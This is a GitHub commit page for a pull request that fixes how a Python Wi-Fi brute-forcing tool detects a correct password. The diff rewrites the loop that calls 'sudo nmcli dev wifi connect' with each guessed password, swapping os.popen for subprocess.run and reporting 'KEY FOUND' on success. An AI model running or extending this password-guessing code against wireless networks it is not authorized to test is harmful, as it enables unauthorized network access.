Skip to content

Commit

Permalink
Merge pull request #6 from kwyjibo-the-gringo/main
Browse files Browse the repository at this point in the history
fix erroneous password acceptance
  • Loading branch information
flancast90 authored Jun 17, 2024
2 parents 37f67f3 + 37128a3 commit 895605e
Showing 1 changed file with 21 additions and 11 deletions.
32 changes: 21 additions & 11 deletions src/__main__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import argparse
import subprocess
import os
from ssid import start
import urllib.request
Expand Down Expand Up @@ -172,19 +173,28 @@ def brute_force(selected_network, passwords, args):
contain = True
else:
time.sleep(1)

creds = os.popen("sudo nmcli dev wifi connect \""+
selected_network+"\" password \""+decoded_line+"\"").read()

# print(creds)

if ("Error:" in creds.strip()):

commands = [
"sudo",
"nmcli",
"dev",
"wifi",
"connect",
selected_network,
"password",
decoded_line,
]

try:
subprocess.run(commands, capture_output=True, text=True,
check=True)
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
except subprocess.CalledProcessError as e:
if args.verbose is True:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)

else:
if args.verbose is True:
print(bcolors.OKCYAN+"** TESTING **: password '" +
Expand Down Expand Up @@ -242,4 +252,4 @@ def main():
brute_force(target, passwords, args)


main()
main()

0 comments on commit 895605e

Please sign in to comment.